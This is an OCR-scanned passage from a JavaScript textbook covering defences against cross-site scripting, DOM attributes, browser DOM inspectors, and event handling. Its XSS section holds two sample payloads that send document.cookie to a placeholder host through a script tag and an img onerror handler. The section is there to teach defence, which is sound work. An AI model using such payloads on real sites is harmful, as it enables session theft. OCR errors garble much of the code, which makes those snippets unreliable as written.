against these kinds of attacks. 

WHAT CAN THESE ATTACKS DO? 

XSS can give the attacker access to information in: 

• The DOM (including form data) 

• That website’s cookies 

• Session tokens: information that identifies you 
from other users when you log into a site 

This could let the attacker access a user account and: 

• Make purchases with that account 

• Post defamatory content 

• Spread their malicious code further / faster 


EVEN SIMPLE CODE CAN CAUSE PROBLEMS: 

Malicious code often mixes HTML and JavaScript (although URLs and CSS can be used to trigger XSS attacks). 
The two examples below demonstrate how fairly simple code could help an attacker access a user 5 account. 

This first example stores cookie data in a variable, which could then be sent to a third-party server: 

<script>var adr= , http://example.coTn/x$s*php?cQQkie“ , + escape (document, cookie) ;</seri pt> 

This code shows how a missing image can be used with an HTML attribute to trigger malicious code: 

<iing src= H http://nofile M one rror- n adr-'http://example«com/x 5 s.php? l -trescape{ document. cookie)" ;> 

Any HTML from untrusted sources opens your site to XSS attacks. But the threat is only from certain characters. 
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DEFENDING AGAINST 
CROSS-SITE SCRIPTING 


VALIDATE INPUT GOING TO THE SERVER 


1. Only let visitors input the kind 
of characters they need to when 
supplying Information. This is 
known as validation. Do not 
allow untrusted users to submit 
HTML markup or JavaScript, 


2. Double'check validation on 
the server before displaying user 
content/storing it in a database. 
This is important because users 
could bypass validation in the 
browser by turning JavaScript off. 


3. The database may safely 
contain markup and script 
from trusted sources (e,g,, your 
content management system). 
This is because it does not try to 
process the code; it just stores it. 

► 


REQUESTS PAGES FROM 
AND SENDS FORM DATA 
TO WEB SERVER 



BROWSER 


PROCESSES HTML, CSS, 
AND JAVASCRIPT FILES 
SENT FROM WEB SERVER 


COLLECTS INFORMATION 
FROM BROWSER AND 
PASSES IT TO DATABASE 


WEB SERVER 

GENERATES PAGES USING 
DATA FROM DATABASE AND 
INSERTS IT INTO TEMPLATES 


STORES INFORMATION 
CREATED BY WEBSITE 
ADMINS AND USERS 



DATABASE 


RETURNS CONTENT NEEDED 
TO CREATE WEB PAGES 


4 

ESCAPE DATA COMING FROM THE SERVER & DATABASE 


6. Do not create DOM fragments 
containing HTML from untrusted 
sources. It should only be added 
as text once it has been escaped. 


5. Make sure that you are only 
inserting content generated by 
users into certain parts of the 
template files (see p230X 


4. As your data leaves the 
database, all potentially 
dangerous characters should be 
escaped (see p231). 


So f you can safely use i nnerHTML to add markup to a page if you have written the code - but content from any 
untrusted sources should be escaped and added as text (not markup), using properties like textContent. 
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XSS: VALIDATION 
& TEMPLATES 


Make sure that your users can only input characters they need to use 
and limit where this content will be shown on the page. 


FILTER OR VALIDATE INPUT 

The most basic defense is to prevent users from 
entering characters into form fields that they do not 
need to use when providing that kind of information. 

For example, users" names and email addresses 
will not contain angled brackets, ampersands, or 
parentheses, so you can validate data to prevent 
characters like this being used. 

This can be done in the browser, but must also be 
done on the server (in case the user has JavaScript 
turned off), You learn about validation in Chapter 13. 


LIMIT WHERE USER CONTENT GOES 

Malicious users will not just use <script> tags to 
try and create an XSS attack. As you saw on p228, 
malicious code can live in an event handler attribute 
without being wrapped in <scri pt> tags, XSS can 
also be triggered by malicious code in CSS or URLs, 

Browsers process HTML, CSS, and JavaScript in 
different ways (or execution contexts), and in each 
language different characters can cause problems. 
Therefore, you should only add content from 
untrusted sources as text (not markup), and place 
that text in elements that are visible in the viewport. 


You may have seen that the comment sections on 
websites rarely allow you to enter a lot of markup 
(they sometimes allow a limited subset of HTML). 
This is to prevent people from entering malicious 
code such as <seri pt> tags, or any other character 
with an event handling attribute. 

Even the HTML editors used in many content 
management systems will limit the code that you are 
allowed to use within them, and will automatically 
try to correct any markup that looks malicious. 


Never place any user's content in the following 
places without detailed experience of the issues 
involved (which are beyond the scope of this book): 


Script tags: 

HTML comments: 
Tag names: 
Attributes: 

CSS values: 


<script>not here</scri pt> 
<! — not here — > 

<notHere href = "/test" /> 
<cfiv notHere s,l norHere" /> 
{color: not here) 


130 DOCUMENT OBJECT MODEL 


XSS: ESCAPING & 
CONTROLLING MARKUP 


Any content generated by users that contain characters that are used 
in code should be escaped on the server. You must control any markup 
added to the page. 


ESCAPING USER CONTENT 

All data from untrusted sources should be escaped 
on the server before if is shown on the page. 

Most server-side languages offer helper functions 
that will strip-out or escape malicious code. 


HTML 

Escape these characters so that they are displayed 
as characters (not processed as code), 


& 

Samp ; ' 

&#x27; (not &apos;) 

< 

&lt; 

&quot ; 

> 

&gt; / 

Mx 2F; 


&#x60; 



JAVASCRIPT 

Never include data from untrusted sources in 
JavaScript. It involves escaping all ASCII characters 
with a value less than 256 that are not alphanumeric 
characters (and can be a security risk). 

URLS 

If you have links containing user input (e.g. r links to 
a user profile or search queries), use the JavaScript 
encodeURI Component () method to encode the user 
input, It encodes the following characters: 

, / ? : 0 & = + $ # 


ADDING USER CONTENT 

When you add untrusted content to an HTML page, 
once it has been escaped on the server, it should still 
be added to the page as text. JavaScript and jQuery 
both offer tools for doing this: 

JAVASCRIPT 

DO use: textContent or i nnerText (see p216) 

DO NOT use: f nnerHTML (see p22G) 

JQUERY 

DO use: ,text() (see p316) 

DO NOT use: , html () (seep316) 


You can still use the i nnerHTML property and jQuery 
.html () method to add HTML to the DOM, but you 
must make sure that: 

• You control all of the markup being generated 
(do not allow user content that could contain 
markup). 

* The user's content is escaped and added as text 
using the approaches noted above, rather than 
adding the user's content as HTML. 
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ATTRIBUTE NODES 


I 


Once you have an element node, you can use 
other properties and methods on that element 
node to access and change its attributes. 


There are two steps to accessing 
and updating attributes. 


First, select the element node 
that carries the attribute and 
follow it with a period symbol. 


Then, use one of the methods or 
properties below to work with 
that element's attributes. 


Finds the element node (works with any Gets the value of the attribute that was 

technique covered in this chapter) given as a parameter of the method 

DOM QUERY METHOD 


document .get El ementBy Id ( 1 one 1 ) .getAttri bute ( ' class'); 

I'H?' 1 

MEMBER OPERATOR 

Indicates that the subsequent method will 
be used on the node specified to the left 


METHOD 


DESCRIPTION 


getAttri bute () 
hasAttributeO 
set Attri bute () 
removeAttributef) 


gets the value of an attribute 

checks if element node has a specified attribute 

sets the value of an attribute 

removes an attribute from an element node 


PROPERTY 

class Name 
id 


DESCRIPTION 

gets or sets the value of the cl ass attribute 
gets or sets the value of the i d attribute 


You have seen that the DOM 
treats each HTML element as 
its own object in the DOM tree. 
The properties of the object 
correspond to the attributes 
that type of element can carry. 
On the left, you can see the 
className and id properties. 
(Others include accessKey, 
checked, href, lang, and title.) 
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CHECK FOR AN ATTRIBUTE 
AND GET ITS VALUES 


Before you work with an 
attribute, it is good practice to 
check whether it exists. This will 
save resources if the attribute 
cannot be found. 


JAVASCRIPT 


The hasAttributeQ method 
of any element node lets you 
check if an attribute exists. The 
attribute name is given as an 
argument in the parentheses. 


Using hasAttri bute() in an i f 
statement like this means that 
the code inside the curly braces 
will run only if the attribute 
exists on the given element. 

cG5/j s/get-attri bute . js 

Get first 1 ist item 

If it has class attribute 
Get the attribute 


var firstltem = document ,getElementById( l one E ) ; // 

if (f irst Item, hasAttri bute{ 'class 1 }) { // 

var attr = firstItem.getAttribute( ‘class 1 ) ; // 

} 


// Add the value of the attribute after the list 

var el = document. getElementBy Id ( ' scri ptResul ts ') ; 

el.innerHTML = '<p>The first item has a class name: ' + attr + '</p>'; 


RESULT 



fresl ffigs 



pine nuts 



honey 



balsamic vinegar 



The first item has a class name: hot 


In this example, the DOM query 
getElementByldQ returns the 
element whose i d attribute has 
a value of one. 

The hasAttri bute() method 
is used to check whether this 
element has a cl ass attribute, 
and returns a Boolean, This 
is used with an i f statement 
so that the code in the curly 
braces will run only If the cl ass 
attribute does exist. 

The get Alt ri bute () method 
returns the value of the cl ass 
attribute, which is then written 
to the page. 

Browser Support: Both of these 
methods have good support in 
all major web browsers. 
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CREATING ATTRIBUTES & 
CHANGING THEIR VALUES 


The cl assName property allows 
you to change the value of the 
cl ass attribute. If the attribute 
does not exist, it will be created 
and given the specified value. 


You have seen this property 
used throughout the chapter 
to update the status of the 
list items. Below, you can see 
another way to achieve the task. 


ThesetAttribute() method 
allows you to update the value 
of any attribute. It takes two 
parameters: the attribute name, 
and the value for the attribute. 


c05/js/set -attributes 


JAVASCRIPT 


var first Item = document *getElementById{ 'one' ) ; 
first Item. cl assName = 'complete 1 ; 


// Get the first item 
// Change its class attribute 


var fourthltem = document, getElementsByTagName( 1 1 i 
elZ.setAttributeCdass 1 , 'cool 1 ); // 


),item{3);// Get fourth item 
Add an attribute to it 


When there is a property (like 
the cl assName or id properties), 
it is generally considered better 
to update the properties rather 
than use a method (because, 
behind the scenes, the method 
would just be setting the 
properties anyway). 

When you update the value 
of an attribute (especially the 
class attribute) it can be used 
to trigger new CSS rules, and 
therefore change the appearance 
of the elements. 



Note: These techniques override the entire value of the class attribute. 
They do not add a new value to the existing value of the cl ass attribute. 


If you wanted to add a new value onto the existing value of the class 
attribute, you would need to read the content of the attribute first, then 
add the new text to that existing value of the attribute (or use the 
jQuery .addClassO method covered on p320). 
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REMOVING ATTRIBUTES 


To remove an attribute from an 
element, first select the element, 
then call removeAttribute()> 

It has one parameter: the name 
of the attribute to remove. 


Trying to remove an attribute 
that does not exist will not cause 
an error, but it is good practice 
to check for its existence before 
attempting to remove it. 


In this example, the 
getElementByldO method is 
used to retrieve the first item 
from this list, which has an i d 
attribute with a value of one. 


JAVASCRIPT 


cOS/js/remove-attribute-js 


var firstltem = document. getEI ement8yld( 'one' ) ; // 
if (firstltem. hasAttribute{ 'class')) { // 

f irst Item. remove Attribute ('class') ; // 

} 


Get the first item 

If it has a class attribute 

Remove its class attribute 



The script checks to see if the 
selected element has a class 
attribute and, if so, it is removed. 
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EXAMINING THE DOM 
IN CHROME 


Modern browsers come with tools that help 
you inspect the page loaded in the browser 
and understand the structure of the DOM tree. 


In the screenshot to the right the 
<1 i> element is highlighted and 
the Properties panel (1) indicates 
that this is an: 

• 1 i element with an id 
attribute whose value is one 
and cl ass whose value is hot 

• an HTMLLJElement 

• an HTMLEIement 

• an element 

• a node 

• an object 

Each of these object names has 
an arrow next to it which you can 
use to expand that section. 

It will tell you what properties 
are available to that kind of node. 

They are separated because 
some properties are specif ic 
to list item elements, others 
to element nodes, others to all 
nodes, and others to all objects, 
and the different properties are 
listed under the corresponding 
type of node. But they do remind 
you of which properties you can 
access through the DOM node 
for that element. 



To get the developer tools in 
Chrome on a Mac, go to the 
View menu, select Devefoper and 
then Developer Tools. On a PC, 
go to Tools (or More Tools) and 
select Developer Tools. 

Or right-click on any element 
and select Jnspecf Element, 

Select E/emenfs from the menu 
that runs across the top of this 
tool. The source of the page will 
be shown on the left and several 
other options to the right 


Any element that has child 
elements has an arrow next 
to it that lets you expand and 
collapse the item to show and 
hide its content. 

The Properties panel Con the 
right) tells you the type of object 
the selected element is. (In some 
versions of Chrome this is shown 
as a tab.) When you highlight 
different elements in the main 
left-hand window, you can see 
the values in the Properties panel 
on the right reflect that element. 
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EXAMINING THE DOM 

IN FIREFOX 


Firefox has similar built-in tools, but you can 
also download a DOM inspector tooi that 
shows the text nodes. 
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If you search online for ir DOM 
Inspector", you wifi find the tool 
designed for Firefox shown on 
the left. In the screen shot, you 
can see a similar free view to 
the one shown in Chrome, but 
it also shows you where there 
are whitespace nodes (they are 
shown as #text). In the panel to 
the right, you can see the value 
in the nodes; whitespace nodes 
have no value in this panel. 

Another Firefox extension worth 
trying is called Firebug. 


Firefox also has a 3D view of 
the DOM, where a box is drawn 
around each element, and you 
can change the angle of the 
page to show which parts of it 
stick out more than others. The 
further they protrude the further 
into child elements they appear. 

This can give you an interesting 
(and quick) glimpse into the 
complexity of the markup used 
on a page and the depth to which 
elements are nested. 
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LISTK1NG 


BUY GROCERIES O 




EXAMPLE 

DOCUMENT OBJECT MODEL 


This example brings together a selection of 
the techniques you have seen throughout the 
chapter to update the contents of the list, 
it has three main aims: 

1: Add a new item to the start and end of the list 

Adding an item to the start of a list requires the use of a different method 
than adding an element to the end of the list. 

2; Set a cl ass attribute on ail items 

This involves looping through each of the <1 i> elements and updating 
the value of the cl ass attribute to cool . 

3: Add the number of list items to the heading 

This involves (our steps: 

1. Reading the content of the heading 

2, Counting the number of <1 i > elements in the page 

3. Adding the number of items to the content of the heading 

4, Updating the heading with this new content 
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EXAMPLE 

DOCUMENT OBJECT MODEL 


cG5/js/example,js 


JAVASCRIPT 


// ADDING ITEMS TO START AND END OF LIST 

var list = document. getEl ementsByTagName{ 1 ul 1 ) [0] ; // Get the <ul> element 


// ADD NEW ITEM TO END OF LIST 
var newltemlast = document. createEl ement( 1 1 i 1 ) ■ 
var newTextLast = document. createTextNode{ 'cream 1 ) ; 
newItemLast. appendChi ld{newTextLa$t) ; 

1 i st,appendChfld{newItemLast) ; 


// Create element 
// Create text node 
// Add text node to element 
// Add element end of list 


// ADD NEW ITEM START OF LIST 
var newItemFirst = document. createEl ement{ 1 1 i 1 ) ; 
var newTextFirst 3 document ,createTextNode( * kale* ) ; 
newl temFi rst . appendChi 1 d {newTextFi rst) ; 
list,insertBefore(newItemFirst a 1 ist.fi rstChi Id) ; 


// Create element 
// Create text node 
// Add text node to element 
// Add element to list 


This part of the example adds two new list items to 
the <u!> element: one to the end of the list and one 
to the start of It, The technique used here is DOM 
manipulation and there are four steps to creating a 
new element node and adding it to the DOM tree: 

1, Create the element node 

2, Create the text node 

3, Add the text node to the element node 

4, Add the element to the DOM tree 

To achieve step four, you must first specify the 
parent that will contain the new node. In both cases, 
this is the <ul> element. The node for this element 
is stored in a variable called list because it is used 
many times. 


The appendChi 1 d () method adds new nodes as a 
child of the parent element. It has one parameter: 
the new content to be added to the DOM tree. If the 
parent element already has child elements, it will be 
added after the last of these (and will therefore be 
the last child of the parent element), 

paren t , appendChi 1 d (fleur/ tern ) ; 

(You have seen this method used several times both 
to add new elements to the tree and to add text 
nodes to element nodes.) 

To add the item to the start of the list, the 
i nsertBef ore ( ) method is used. This requires one 
extra piece of information: the element you want to 
add the new content before (the target element). 

parent , i nsertBef ore [newl tem, target ) ; 
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EXAMPLE 

DOCUMENT OBJECT MODEL 


JAVASCRIPT 


c05/js/example. js 


var listltems = document .querySelectorAl 1 ( 1 1 i ') ; 


// A1 1 <li> elements 


// ADD A CLASS OF COOL TO ALL LIST ITEMS 
var i ; 

for (i = 0; i < 1 1st Items . length; i++) { 
1 istltems [i] .className = 'cool'; 

) 


// Counter variable 
// Loop through elements 
// Change class to cool 


// ADD NUMBER OF ITEMS IN THE LIST TO THE HEADING 

var heading = document. querySel ector (' h2‘ ) ; 

var headingText - headi'ng.firstChild.nodeValue; 

var total Items = 1 istltems .length; 

var newHeading = headingText + t <span>' + total Items 

heading. text Con tent = newHeading; 


// h2 element 
// h2 text 
// No. of <li> 
r , </span> 1 ; // 
// Update h2 


elements 

Content 


The next step of this example is to loop through all of 
the elements in the list and update the value of their 
cl ass attributes, setting them to cool . 

This is achieved by first collecting all of the list 
Stem elements and storing them in a variable called 
1 i st Items. A for loop is then used to go through 
each of them: in turn. In order to tell how many times 
the loop should run, you use the 1 ength property. 

Finally, the code updates the heading to include 
the number of list items. It updates it using the 
i nnerHTML property as opposed to the DOM 
manipulation techniques used earlier in the script. 

This demonstrates how you can add to the content 
of an existing element by reading its current value 
and adding to it. You could use a similar technique if 
you needed to add a value to an attribute - without 
overwriting its existing value. 


To update the heading with the number of items in 

the list, you need two pieces of information: 

1. The original content of the heading so that 
you can add the number of list items to it. It is 
collected using the nodeVal ue property (although 
i nrterHTML or textContent would do the same). 

2 , The number of list items, which can be found 
using the length property on the listltems 
variable. 

With this information ready, there are two steps to 

updating the content of the <h2> element: 

1. Creating the new heading and storing if in a 
variable - the new heading will be made up of the 
original heading content, followed by the number 
of items in the list. 

2. Updating the heading, which is done by updating 
the content of the heading element using the 
innerText property of that node. 
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SUMMARY 

DOCUMENT OBJECT MODEL 



DOM trees have four types of nodes: document nodes, 
element nodes, attribute nodes, and text nodes. 


You can select element nodes by their id or cl ass 
attributes, by tag name, or using CSS selector syntax. 

Whenever a DOM query can return more than one 
node, it will always return a NodeLi st. 


From an element node, you can access and update its 
content using properties such as textContent and 
innerHTML or using DOM manipulation techniques. 



An element node can contain multiple text nodes and 
child elements that are siblings of each other. 


In older browsers, implementation of the DOM is 
inconsistent (and is a popular reason for using jQuery). 

Browsers offer tools for viewing the DOM tree. 
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6 

EVENTS 



When you browse the web, your browser registers different 
types of events. It's the browser's way of saying, "Hey, this 
just happened." Your script can then respond to these events. 

Scripts often respond to these events by updating the content of the web page (via the 
Document Object Mode!) which makes the page feel more interactive. In this chapter, you 
will learn how: 


INTERACTIONS 
CREATE EVENTS 

Events occur when users 
click or tap on a link, hover 
or swipe over an element, 
type on the keyboard, 
resize the window, or 
when the page they 
requested has loaded. 


EVENTS TRIGGER 
CODE 

When an event occurs, 
or fires, it can be used 
to trigger a particular 
function. Different code 
can be triggered when 
users interact with 
different parts of the page. 


CODE RESPONDS 
TO USERS 

In the last chapter, you 
saw how the DOM can 
be used to update a page. 
The events can trigger the 
-kinds of changes the DOM 
is capable of. This is how a 
web page reacts to users. 




DIFFERENT EVENT TYPES 


Here is a selection of the events that occur in the browser while you are 
browsing the web. Any of these events can be used to trigger a function 
in your JavaScript code. 

Ul EVENTS Occur when a user interacts with the browser's user interface (Ui) rather than the web page 


EVENT 

DESCRIPTION 

load 

Web page has finished loading 

unload 

Web page is unloading (usually because a new page was requested) 

error 

Browser encounters a JavaScript error or an asset doesn't exist 

resize 

Browser window has been resized 

scrol 1 

User has scrolled up or down the page 

KEYBOARD EVENTS 

Occur when a user interacts with the keyboard (see also i nput event) 

EVENT 

DESCRIPTION 

keydown 

User first presses a key (repeats while key is depressed) 

keyup 

User releases a key 

keypress 

Character is being inserted (repeats while key is depressed) 

MOUSE EVENTS 

Occur when a user interacts with a mouse, trackpad, or touchscreen 

EVENT 

DESCRIPTION 

click 

User presses and releases a button over the same element 

dblclick 

User presses and releases a button twice over the same element 

mousedown 

User presses a mouse button while over an element 

mouseup 

User releases a mouse button while over an element 

mousemove 

User moves the mouse (not on a touchscreen) 

mouseover 

User moves the mouse over an element (not on a touchscreen) 

mouseout 

User moves the mouse off an element (not on a touchscreen) 
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TERMINOLOGY 

EVENTS FIRE OR ARE RAISED 

When an event has occurred, it is often described as having fired or 
been raised, In the diagram on the right, if the user is tapping on a link, a 
click event would fire in the browser. 

EVENTS TRIGGER SCRIPTS 

Events are said to trigger a function or script. When the cl i ck event 
fires on the element in this diagram, it could trigger a script that enlarges 
the selected item. 



FOCUS EVENTS 

EVENT 

Occur when an element (e g., a link or form field) gains or loses focus 

DESCRIPTION 

focus / focusfn 

Element gains focus 

blur / focusout 

Element loses focus 

FORM EVENTS 

Occur when a user interacts with a form element 

EVENT 

DESCRIPTION 

input 

Value in any <i nput> or <textarea> element has changed 0E9+) 
or any element with the contented! tabl e attribute 

change 

Value in select box, checkbox, or radio button changes (IE9+) 

submit 

User submits a form (using a button or a key) 

reset 

User clicks on a form's reset button (rarely used these days) 

cut 

User cuts content from a form field 

copy 

User copies content from a form field 

paste 

User pastes content into a form field 

select 

User selects some text in a form field 

MUTATION EVENTS' 

Occur when the DOM structure has been changed by a script 
* To be replaced by mutation observers (see p284) 

EVENT 

DESCRIPTION 

DOMSubtreeModi fled 

Change has been made to document 

DOMModelnserted 

Node has been inserted as a direct child of another node 

DQMNodeRemoved 

Node has been removed from another node 

DOMNodelnsertedlntoDocument 

Node has been inserted as a descendant of another node 

OOMNodeRemovedFromDocument 

Node has been removed as a descendant of another node 
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HOW EVENTS TRIGGER 
JAVASCRIPT CODE 


When the user interacts with the HTML on a web page, there are three 
steps involved in getting it to trigger some JavaScript code. 

Together these steps are known as event handling. 


1 

Select the element 
node(s) you want the 
script to respond to. 

For example, if you want to 
trigger a function when a user 
dicks on a specific link, you need 
to get the DOM node for that 
link element. You do this using a 
DOM query (see Chapter 5), 


The Ul events that relate to the 
browser window (rather than the 
HTML page loaded in it) work 
with the wi ndow object rather 
than an element node. Examples 
include the events that occur 
when a requested page has 
finished loading, or when the 
user scrolls. You will learn about 
using these on p272. 


2 

Indicate which event on 
the selected node(s) will 
trigger the response. 

Programmers call this binding an 
event to a DOM node. 

The previous two pages showed 
a selection of the popular events 
that you can monitor for 


Some events work with most 
element nodes, such as the 
mouseover event, which is 
triggered when the user rolls 
over any element. Other events 
only work with specific element 
nodes, such as the submi t event, 
which only works with a form. 


3 

State the code you want 
to run when the event 
occurs. 

When the event occurs, on a 
specified element, it will trigger 
a function. This may be a named 
or an anonymous function. 
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Here you can see how event handling can be used to provide feedback to 
users filling in a registration form. It will show an error message if their 
username is too short. 


1 


2 


3 


SELECT ELEMENT 


SPECIFY EVENT 


CALL CODE 


The element that users are 
interacting with is the text input 
where they enter the username. 


When users move out of the 
text input it loses focus, and the 
bl ur event fires on this element, 


When the bl ur event fires 
on the username input, it 
will trigger a function called 
checkUsernameQ . This function 
checks if the username is less 
than 5 characters. 


e o 


Event: bl ur on username 


e 


i 

FUNCTION: checkUsernameO 
Check the username is long enough 

Get username 

+ 

i 




Clear message Show error message 


t$ username 
less than five 
characters? 


If there are not enough 
characters, it shows an error 
message that prompts the user 
to enter a longer username. 

If there are enough characters, 
the element that holds the error 
message should be cleared. 

This is because an error 
message may have been shown 
to the user already and they 
subsequently corrected their 
mistake. (If the error message 
was still visible when they had 
filled En the form correctly, it 
would be confusing.) 
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THREE WAYS TO BIND AN 
EVENT TO AN ELEMENT 


Event handlers let you indicate which event you 
are waiting for on any particular element. 

There are three types of event handlers. 


HTML EVENT 
HANDLERS 

See p251 

This is bad practice, but you 
need to be aware of it because 
you may see it in older code. 

Early versions of HTML included 
a set of attributes that could 
respond to events on the 
element they were added to. 

The attribute names matched 
the event names. Their values 
called the function that was to 
run when that event occurred. 

For example, the following: 

<a ondick =,l hide()"> 
indicated that when a user 
clicked on this <a> element the 
hide ( } function would be called. 

This method of event handling 
is no longer used because it is 
better to separate the JavaScript 
from the HTML, You should use 
one of the other approaches 
shown on this page instead. 


TRADITIONAL DOM 
EVENT HANDLERS 

See p252 

DOM event handlers were 
introduced in the original 
specification for the DOM. 

They are considered better than 
HTML event handlers because 
they let you separate the 
JavaScript from the HTML. 

Support in all major browsers is 
very strong for this approach. 

The main drawback is that you 
can only attach a single function 
to any event. For example, the 
submit event of a form cannot 
trigger one function that checks 
the contents of a form, and a 
second to submit the form data if 
it passes the checks 

As a result of this limitation, if 
more than one script is used on 
the same page, and both scripts 
respond to the same event, then 
one or both of the scripts may 
not work as intended. 


DOM LEVEL 2 EVENT 
LISTENERS 

See p254 

Event listeners were introduced 
in an update to the DOM 
specification (DOM level 2, 
released in the year 2000). 

They are now the favored way of 
handling events. 

The syntax is quite different and, 
unlike traditional event handlers, 
these newer event listeners allow 
one event to trigger multiple 
functions. As a result, there 
are Jess likely to be conflicts 
between different scripts that 
run on the same page. 

This approach does not work 
with IE8 (or earlier versions of 
IE) but you meet a workaround 
on p258. Differences in 
browser support for the DOM 
and events helped speed 
adoption of jQuery (but you 
need to know how events work 
to understand how jQuery uses 
them). 
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HTML EVENT HANDLER 
ATTRIBUTES (DO NOT USE) 


Please note: This approach is 
now considered bad practice; 
however, you need to be aware 
of it because you may see it if 
you are looking at older code. 
(See previous page.) 


In the HTML, the first <fnput> 
element has an attribute called 
onbl ur (triggered when the user 
leaves the element). The value of 
the attribute is the name of the 
function that it should trigger. 


The value of the event handler 
attributes would be JavaScript. 
Often it would call a function 
that was written either in the 
<head> element or a separate 
JavaScript file (as shown below). 


HTML 


cG6/event-attri butes.html 


<form method*" post" act ion="http://www. example.org/regi ster"> 
<label for=" username ”>Create a username: </label> 

<input type="text" id= "username" onbl ur="checltUserrame{} " /> 
<div i d=" feedback "></div> 

<label for=”password">Create a password: </label> 

<input type="password" id="password" /> 


<input type* "submit" value*" Sign up!" /> 
</form> 


<script type="text/javascript" src=*'js/event-attri butes. js"></scri pt> 


JAVASCRIPT 


cG6/j s/event-attri butes . js 


function checkU$ername{) { // Declare function 

var el Msg - document. getEl ementById( 1 feedback 1 ); // Get feedback element 

var el Username = document .get Element By I d ( 'username* ) ;// Get username input 
if (el Username. value .length < 5) { // If username too short 

elMsg.textContent - 'Username must be 5 characters or more 1 ; // Set msg 
} else { // Otherwise 

elMsg.textContent = 1 ' ; // Clear message 

} 

} 


The names of the HTML event 
handler attributes are identical 
to the event names shown on 
p246 - p247, preceded by 
the word "on." 


For example; 

• <a> elements can have oncl i ck r onmouseover, onmouseout 

• <fonn> elements can have onsubmi t 

• <1 nput> elements for text can have onkeypress, onf ecus, onbl ur 
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TRADITIONAL DOM 
EVENT HANDLERS 


All modern browsers understand this way of creating an event handler, 
but you can only attach one function to each event handler. 


Here is the syntax to bind an event to an element using an event handler, 
and to indicate which function should execute when that event fires: 


element .one vent = functionName ; 


ELEMENT EVENT CODE 


DOM element Event bound to node(s) Name of function to cal! (with 
node to target preceded by word "on" no parentheses following it) 


Below, the event handler is on 
the last line (after the function 
has been defined and the DOM 
element node(s) selected). 


When a function is called, the 
parentheses that follow its name 
tell the JavaScript interpreter to 
"run this code now.’ 1 


We don't want the code to 
run until the event fires, so the 
parentheses are omitted from 
the event handler on the last line. 


function checkUsernamef) { ~ 

A reference // code to check the length of username 

to the DOM 1 

element node -[var el = document . getEl ementByld (’ username 1 ) ; 

isoftenstored el.onblur = checktlsername; — 

in a variable. L j 1 

The event name is preceded by the word "on.' 1 


The code starts 
by defining the 
named function. 

The function 
is called by the 
event handier on 
the last line, but 
the parentheses 
are omitted. 


An example of an anonymous function and a function with parameters is shown on p256. 
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USING DOM EVENT 

HANDLERS 


In this example, the event 
handler appears on the last line 
of the JavaScript. Before the 
DOM event handler, two things 
are put in place; 


JAVASCRIPT 


1. If you use a named function 
when the event fires on your 
chosen DOM node, write that 
function first (You could also 
use an anonymous function,) 


2. The DOM element node is 
stored in a variable. Here the text 
input (whose i d attribute has a 
value of username) is placed into 
a variable called el Username. 

c06 /j s /event - hand 1 er . j s 

// Declare function 
//Get feedback element 
// If username too short 
or more'; // Set msg 
// Otherwise 
// Clear message 


G> 


function checkUsername() { 
var el Msg = document f getElementBy!d( 1 feedback 1 } ; 
if {this. value .length < 5) { 
el Msg. textContent - 'Username must be 5 characters 
} else { 

el Msg. textContent = 1 ' ; 

1 

} 


(D var el Username - document.getElementById( 'username'}; // Get username input 
© el Username. onblur = checkUsername; // When it loses focus call checkuserName() 


When using event handlers, the 
event name is preceded by the 
word "on" (onsubmi t, onchange, 
onfocus, onbl ur, onmouseover, 
onmouseout, etc). 

3. On the last tine of the code 
sample above, the event handler 
el Username, onblur indicates 
that the code is waiting for the 
bl ur event to fire on the element 
stored in the variable called 
el Username. 


This is followed by an equal sign, 
then the name of the function 
that will run when the event 
fires on that element. Note that 
there are no parentheses on the 
function name. This means you 
cannot pass arguments to this 
function. (If you want to pass 
arguments to a function in an 
event handler, see p256.) 

The HTML is the same as that 
shown on p251 but without 
the onbl ur event attribute. This 
means that the event handler is 
in the JavaScript, not the HTML. 


Browser support: On line 3, 
the checkUsernameO function 
uses the t hi s keyword in the 
conditional statement to check 
the number of characters the 
user entered. It works in most 
browsers because they know 
t hi s refers to the element the 
event happened on. 

However, in Internet Explorer 
8 or earlier, IE would treat t hi s 
as the window object. As a 
result. It would not know which 
element the event occurred on 
and there would be no value 
that it checked the length of, so 
It would raise an error. You will 
learn a solution for this issue on 
p264. 
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EVENT LISTENERS 


Event listeners are a more recent approach to handling events. 
They can deal with more than one function at a time 
but they are not supported in older browsers. 


Here is the syntax to bind an event to an element using an event listener, 
and to indicate which function should execute when that event fires: 


Adds an event listener to the DOM element node(s) 

METHOD 


element 

1 r 1 


ELEMENT 


addEventListener( ‘event ' , functionName [, Boolean]); 


EVENT CODE EVENT FLOW 


DOM element 
node to target 


Event to bind node(s) Name of function Indicates something called 
to in quote marks to call capture, and is usually set 

to false (see p260) 


function checkUsernameQ { 

A reference // code to check the length of username 

to the DOM } -I 

element node — [var el = document .get El ementBy Id { 1 username 1 ) ; 
is often stored el , addEventLi stener ( 1 bl ur ' , checkUsername, false); 

in a variable. 1 — -r — 1 L — [ " 

The event name is enclosed rn quotation marks. 


The code starts 
by defining the 
named function. 

The function 
is called by the 
event listener on 
the last line, but 
the parentheses 
are omitted. 


An example of an anonymous function and a function with parameters is shown on p256. 
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USING EVENT LISTENERS 


In this example, the event 
listener appears on the last 
line of the JavaScript Before 
you write an event listener, two 
things are put in place: 


1- If you use a named function 
when the event fires on your 
chosen DOM node, write that 
function first. (You could also 
use an anonymous function.) 


2. The DOM element node(s) is 
stored in a variable. Here the text 
input (whose i d attribute has a 
value of username) is placed into 
a variable called el Username. 


JAVASCRIPT 


c 06 /j s/event- 1 i stener, js 


< 3 > 


function checkUsernameO { 
var elMsg = document. getEl ementByldf ' feedback' ) ; 
if (thi s .val ue. length < 5) { 
elMsg. textContent = ‘Username must be 5 characters 
} else { 

el Msg. textContent = 

} 




// Declare function 
jj Get feedback element 
// If username too short 
or more' ; // Set msg 
// Otherwise 
// Clear msg 


© var el Username = document. getEl ementById{ 'username' ); // Get username input 

// When it loses focus call checkUsernameO 
elUsername.addEventListener( ' bl ur ' , checkUsername, false); 

© © ® 


The addEventLi stener (} 
method takes three properties: 

i) The event you want it to listen 
for. In this case, the blur event. 

ii) The code that you want it 
to run when the event fires. 

In this example, it is the 
checkUsernameO function. Note 
that the parentheses are omitted 
where the function is called 
because they would indicate that 
the function should run as the 
page loads (rather than when the 
event fires). 

iii) A Boolean indicating how 
events flow, see p260, (This is 
usually set to false.) 


BROWSER SUPPORT 

Internet Explorer 8 and earner 
versions of IE do not support the 
addEventLi stener() method, 
but they do support a method 
called attachEventO and 
you will see how to use this on 
p258. 

Also, as with the previous 
example, IE8 and older versions 
of I E wou Id not know what this 
referred to in the conditional 
statement. An alternative 
approach for dealing with it is 
shown on p270. 


